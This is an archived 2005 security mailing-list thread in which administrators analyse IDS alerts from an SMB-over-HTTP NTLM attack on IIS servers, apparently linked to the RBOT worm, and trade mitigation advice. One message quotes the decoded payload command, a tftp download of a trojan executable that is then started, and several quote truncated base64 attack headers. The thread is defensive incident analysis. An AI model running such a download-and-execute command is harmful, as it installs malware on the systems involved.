

## Re: New http attack?

**Source:** <http://www.derkeiler.com/Mailing-Lists/securityfocus/incidents/2005-06/0011.html>

---

**From:** Alex ([incidents\\_at\\_alex.gotdns.org](mailto:incidents_at_alex.gotdns.org))

**Date:** 06/10/05

Date: Thu, 9 Jun 2005 21:06:33 -0600 (MDT)

To: Ron <[iago@valhallalegends.com](mailto:iago@valhallalegends.com)>

Isn't "-i 0.0.0.0" telling tftp to what interface to bind?

0.0.0.0 is usually a generic address that means to bind to ALL interfaces... I suppose they are just being lazy --- they already know the IP address of the server!

-Alex

On Thu, 9 Jun 2005, Ron wrote:

> -----BEGIN PGP SIGNED MESSAGE-----  
> Hash: SHA1  
>  
> Out of curiosity, I notice that when I decode any hit on my IDS with  
> that exploit, it ends up with the following command (along with  
> shellcode and padding, of course):  
>  
> cmd /c tftp -i 0.0.0.0 GET wuamkop.exe&start wuamkop.exe&exit  
>  
> Do you know why it would be "0.0.0.0"? Is it just failing to get the  
> proper ip for the trojan or what?  
>  
> Thanks,  
> Ron  
>  
>  
> Kirby Angell wrote:  
>> - From <http://isc.sans.org/diary.php?date=2005-06-03>:  
>>  
>> "On a similar note, we've had one report of what looks to be like  
>> another RBOT vector, this time SMB over HTTP. An IIS server will accept  
>> multiple forms of authentication, including (non-IIS folks cover your  
>> eyes, this will hurt) NTLM via base64 encoding. You looked....I warned  
>> you! Look for:  
>>  
>> GET / HTTP/1.0  
>> Host: xxx.xxx.xxx.xxx

Re: New http attack?

SecurityFocus Incidents: Re: New http attack?

>> *Authorization: Negotiate*  
>> *YIIQegYGKwYBBQUCoIIQbjCCEGqghghBmI4IQYgOCBAEAQUFBQUFBQUFBQUFBQUFBQ....*

>>  
>> *All that gibberish can be decoded with good ol' "mimencode -u" to reveal*  
>> *an RBOT tftp download command. The long and short of it is POLP -*  
>> *Principle of Least Privilege. Disable any authentication methods that*  
>> *are unnecessary, especially on your big-bad-world-facing servers. Me, I*  
>> *don't trust anyone to play nicely, inside or out."*

>>  
>> *Keith T. Morgan wrote:*

>>  
>>>> *A google search didn't turn up anything of value on this, so I'm posting*  
>>>> *to the list. If I've missed something that's common knowledge here, I*  
>>>> *appologize for inverting the signal/noise ratio a bit with this post.*

>>>>  
>>>> *We've seen an attack that triggered a snort bleeding-edge hit for "smb*  
>>>> *over http authentication." This isn't particularly alarming, but, what*  
>>>> *caught my attention is what appears to be a very large buffer in part of*  
>>>> *the packet.*

>>>>  
>>>> *The ascii decoded capture looks a bit like this:*

>>>>  
>>>> *GET / HTTP/1.0*  
>>>> *Host: obfuscated*  
>>>> *Authorization: Negotiate <what may be an encrypted password>*  
>>>> *QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB.*

>>>>  
>>>> *This "QUFB" string is repeated for 1400 bytes or so, and I'm assuming*  
>>>> *went beyond the single packet capture I have.*

>>>>  
>>>> *The IIS logs indicate a simple GET / with a 401 response code.*

>>>>  
>>>> *Has anyone seen this "QUFBQUFB" string in a worm, virus, or exploit*  
>>>> *floating around out there somewhere? I think chances of this being a FP*  
>>>> *are low since we're not using NTLM or windows native/ad authentication*  
>>>> *on this site.*

>>>>  
>>>>  
>>>> *-- Keith Morgan*  
>>>> *-- CISSP, MCP, CCSE/CCSA*

>>>>  
>>>> *"Hey Pants... Any advice for getting through turn 1 with 55 motorcycles*  
>>>> *on the grid?"*  
>>>> *"Yeah. Don't Crash."*  
>>>> *-- Sage motorcycle roadracing advice from Shawn (Pants) Romano*

>>>>  
\*\*\*\*\*

>>>> *The contents of this email and any attachments are confidential.*  
>>>> *It is intended for the named recipient(s) only.*  
>>>> *If you have received this email in error please notify the system manager or the*  
>>>> *sender immediately and do not disclose the contents to anyone or make copies.*

SecurityFocus Incidents: Re: New http attack?

>>>>

>>>> *\*\* this message has been scanned for viruses, vandals and malicious content \*\**

>>>>

\*\*\*\*\*

>>>>

>>

>>

>>

>> --

>> *Thank you,*

>>

>> *Kirby Angell*

>> *Get notified anytime your website goes down!*

>> <http://www.alertra.com>

>> *key: 9004F4C0*

>> *fingerprint: DD7E E88D 7F50 2A1E 229D 836A DB5B A751 9004 F4C0*

> -----BEGIN PGP SIGNATURE-----

> *Version: GnuPG v1.9.15 (GNU/Linux)*

> *Comment: Using GnuPG with Thunderbird – <http://enigmail.mozdev.org>*

>

> *iD8DBQFCqKL0fqSf2EkP4p4RAnvvAJwMvlwYeyY+kHc1YlAF0GeZmtxcACfYzFh*

> *FJNQRITUvUEjMWvwPSVEx7w=*

> *=jR8f*

> -----END PGP SIGNATURE-----

>